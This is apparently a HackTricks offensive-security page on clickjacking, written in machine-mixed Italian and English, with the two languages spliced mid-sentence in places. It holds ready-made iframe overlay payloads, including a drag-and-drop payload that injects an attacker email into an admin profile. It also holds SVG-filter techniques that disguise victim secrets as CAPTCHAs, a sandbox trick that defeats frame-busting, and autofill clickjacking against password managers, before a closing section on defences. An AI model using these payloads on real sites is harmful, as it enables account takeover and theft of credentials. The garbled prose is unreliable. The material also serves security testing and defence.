Clickjacking

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

What is Clickjacking

In a clickjacking attack, a utente is ingannato into cliccare an elemento on a webpage that is either invisibile or mascherato as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, reindirizzamento a pagine web malevole, fornitura di credenziali o informazioni sensibili, trasferimenti di denaro, o acquisti online di prodotti.

Prepopulate forms trick

A volte è possibile impostare il valore dei campi di un form usando parametri GET al caricamento di una pagina. Un attaccante può abusare di questo comportamento per riempire un form con dati arbitrari e inviare il payload di clickjacking in modo che l’utente prema il pulsante Submit.

Populate form with Drag&Drop

Se hai bisogno che l’utente compili un form ma non vuoi chiedergli direttamente di inserire informazioni specifiche (come l’email o una password specifica che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che inserirà i dati controllati da te come in this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload a più fasi

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un attacco XSS che richiede che un utente clicchi su qualche elemento per innescare l’XSS e la pagina è vulnerabile a clickjacking, potresti abusarne per indurre l’utente a cliccare il pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell’account (dettagli che solo tu puoi impostare e leggere). La pagina con il form per impostare questi dettagli è vulnerabile a Clickjacking e puoi prepopulate il form con i GET parameters.
Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina prepopulating il form con il XSS payload e tricking l’user affinché Submit il modulo. Quindi, when the form is submitted e i valori vengono modificati, l’user eseguirà l’XSS.

DoubleClickjacking

Firstly explained in this post, questa tecnica chiede alla vittima di fare doppio click su un pulsante di una pagina custom posizionata in un punto specifico e sfrutta le differenze temporali tra gli eventi mousedown e onclick per caricare la pagina della vittima durante il doppio click, in modo che la vittima clicchi effettivamente un pulsante legittimo nella pagina della vittima.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Questa tecnica permette di indurre l’utente a cliccare in un solo punto della pagina vittima, bypassando qualsiasi protezione contro il clickjacking. Quindi l’attaccante deve trovare azioni sensibili che possono essere eseguite con un solo click, come OAuth prompts accepting permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds permettono che CSS filter:url(#id) sia applicato a cross-origin iframes. I pixel rasterizzati dell’iframe vengono esposti al grafo di filtri SVG come SourceGraphic, quindi primitive come feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, ecc. possono deformare arbitrariamente l’UI della vittima prima che l’utente la veda, nonostante l’attaccante non tocchi mai il DOM. Un semplice filtro in stile Liquid-Glass si presenta così:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitive utili: feImage carica bitmap dell’attaccante (es., overlay, displacement maps); feFlood crea maschere a colore costante; feOffset/feGaussianBlur affinano le evidenziazioni; feDisplacementMap rifrange/deforma il testo; feComposite operator="arithmetic" implementa operazioni matematiche arbitrarie per canale (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), sufficienti per potenziamento del contrasto, mascheramento e operazioni AND/OR; feTile ritaglia e replica sonde di pixel; feMorphology espande/contrae i tratti; feColorMatrix sposta la luma nell’alpha per costruire maschere precise.

Distorsione dei segreti in prompt in stile CAPTCHA

Se un endpoint incorniciabile rende segreti (tokens, reset codes, API keys), l’attaccante può distorcerli in modo che somiglino a un CAPTCHA e costringere alla trascrizione manuale:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

I pixel distorti inducono l’utente a “risolvere” il captcha dentro l’attaccante-controllato <input> il cui pattern impone il vero segreto della vittima.

Ricontextualizzare gli input della vittima

I filtri possono rimuovere chirurgicamente il testo di placeholder/validazione mantenendo le battute dell’utente. Un flusso di lavoro:

  1. feComposite operator="arithmetic" k2≈4 amplifica la luminosità così che il testo di aiuto grigio si satura fino a bianco.
  2. feTile limita l’area di lavoro al rettangolo dell’input.
  3. feMorphology operator="erode" ispessisce i glifi scuri digitati dalla vittima e li memorizza tramite result="thick".
  4. feFlood crea una piastra bianca, feBlend mode="difference" con thick, e un secondo feComposite k2≈100 lo trasforma in una netta luma matte.
  5. feColorMatrix sposta quella luma nell’alpha, e feComposite in="SourceGraphic" operator="in" mantiene solo i glifi inseriti dall’utente.
  6. Un altro feBlend in2="white" più un crop sottile restituisce una textbox pulita, dopo di che l’attaccante sovrappone le proprie etichette HTML (es., “Inserisci la tua email”) mentre l’iframe nascosto continua a far rispettare la politica delle password dell’origine vittima.

Safari ha difficoltà con feTile; lo stesso effetto può essere riprodotto con matte spaziali costruite da feFlood + feColorMatrix + feComposite per payload limitati a WebKit.

Sonde di pixel, logica e macchine a stati

Ritagliando una regione di 2–4 px con feTile e ripetendola al 100% del viewport, l’attaccante trasforma il colore campionato in una texture a pieno schermo che può essere sogliaizzata in una maschera booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Per colori arbitrari, un riferimento feFlood (es., #0B57D0) più feBlend mode="difference" e un altro arithmetic composite (k2≈100, k4 come tolleranza) producono bianco solo quando il pixel campionato corrisponde alla tonalità target. Alimentando queste maschere in feComposite con k1..k4 tarati si ottengono porte logiche: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT tramite blending contro il bianco. Concatenando le porte si realizza un full adder all’interno del filter graph, dimostrando che la pipeline è funzionalmente completa.

Gli attacker possono quindi leggere lo stato della UI senza JavaScript. Esempi di booleani da un modal workflow:

  • D (dialog visibile): sondare un angolo oscurato e testare contro il bianco.
  • L (dialog caricato): sondare le coordinate dove il pulsante appare una volta pronto.
  • C (checkbox checked): confrontare il pixel della checkbox con l’active blue #0B57D0.
  • R (banner rosso di successo/fallimento): usare feMorphology e soglie rosse all’interno del rettangolo del banner.

Ogni stato rilevato abilita una bitmap di overlay diversa incorporata via feImage xlink:href="data:...". Mascherare quelle bitmap con D, L, C, R mantiene gli overlay sincronizzati con il reale dialog e guida la vittima attraverso flussi di lavoro a più passaggi (password resets, approvals, destructive confirmations) senza mai esporre il DOM.

Estensioni del browser: DOM-based autofill clickjacking

Oltre a iframare le pagine della vittima, gli attacker possono prendere di mira gli elementi UI delle browser extension che vengono iniettati nella pagina. I password managers renderizzano dropdown di autofill vicino agli input focalizzati; focalizzando un campo controllato dall’attaccante e nascondendo/occludendo il dropdown dell’estensione (trucchi di opacity/overlay/top-layer), un click costretto dell’utente può selezionare un elemento memorizzato e compilare dati sensibili in input controllati dall’attaccante. Questa variante non richiede esposizione tramite iframe e funziona interamente tramite manipolazione DOM/CSS.

Strategie per mitigare il Clickjacking

Difese lato client

Gli script eseguiti lato client possono intraprendere azioni per prevenire il Clickjacking:

  • Assicurarsi che la finestra dell’applicazione sia la finestra principale (top window).
  • Rendere tutti i frame visibili.
  • Impedire i click su frame invisibili.
  • Rilevare e avvisare gli utenti di possibili tentativi di Clickjacking.

Tuttavia, questi script anti-frame possono essere aggirati:

  • Impostazioni di sicurezza dei browser: Alcuni browser potrebbero bloccare questi script in base alle impostazioni di sicurezza o alla mancanza del supporto JavaScript.
  • Attributo sandbox dell’iframe HTML5: Un attaccante può neutralizzare gli script anti-frame impostando l’attributo sandbox con i valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all’iframe di verificare se è la finestra principale, ad esempio,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

I valori allow-forms e allow-scripts abilitano azioni all’interno dell’iframe pur disabilitando la navigazione a livello superiore. Per assicurare la funzionalità prevista del sito target, potrebbero essere necessari permessi aggiuntivi come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi nella console del browser possono indicare quali permessi abilitare.

Difese lato server

X-Frame-Options

L’header di risposta HTTP X-Frame-Options informa i browser sulla legittimità di renderizzare una pagina in un <frame> o <iframe>, aiutando a prevenire il Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può incorniciare il contenuto.
  • X-Frame-Options: sameorigin - Solo il sito corrente può incorniciare il contenuto.
  • X-Frame-Options: allow-from https://trusted.com - Solo l’URI specificato può incorniciare la pagina.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.

Content Security Policy (CSP) direttiva frame-ancestors

La direttiva frame-ancestors in CSP è il metodo consigliato per la protezione contro il Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Ad esempio, la seguente CSP consente il framing solo dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli ed esempi complessi si trovano nella frame-ancestors CSP documentation e nella Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) con child-src e frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe permettere di caricare contenuti.

Direttiva frame-src

  • Definisce le origini valide per i frame.
  • Più specifica della direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questa policy consente frame dalla stessa origine (self) e da https://trusted-website.com.

child-src Direttiva

  • Introdotta in CSP livello 2 per impostare fonti valide per web workers e frame.
  • Agisce come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questa policy consente frame e worker dalla stessa origine (self) e https://trusted-website.com.

Note d’uso:

  • Deprecazione: child-src è in fase di deprecazione a favore di frame-src e worker-src.
  • Comportamento di fallback: se frame-src è assente, child-src viene usato come fallback per i frame. Se entrambi sono assenti, viene usato default-src.
  • Definizione rigorosa delle sorgenti: includere solo sorgenti attendibili nelle direttive per prevenire sfruttamenti.

Script JavaScript per impedire il framing

Sebbene non completamente infallibili, gli script frame-busting basati su JavaScript possono essere usati per impedire che una pagina web venga inserita in un frame. Esempio:

if (top !== self) {
top.location = self.location
}

Impiego di Anti-CSRF Tokens

  • Token Validation: Usa anti-CSRF tokens nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall’utente e non tramite una pagina Clickjacked.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks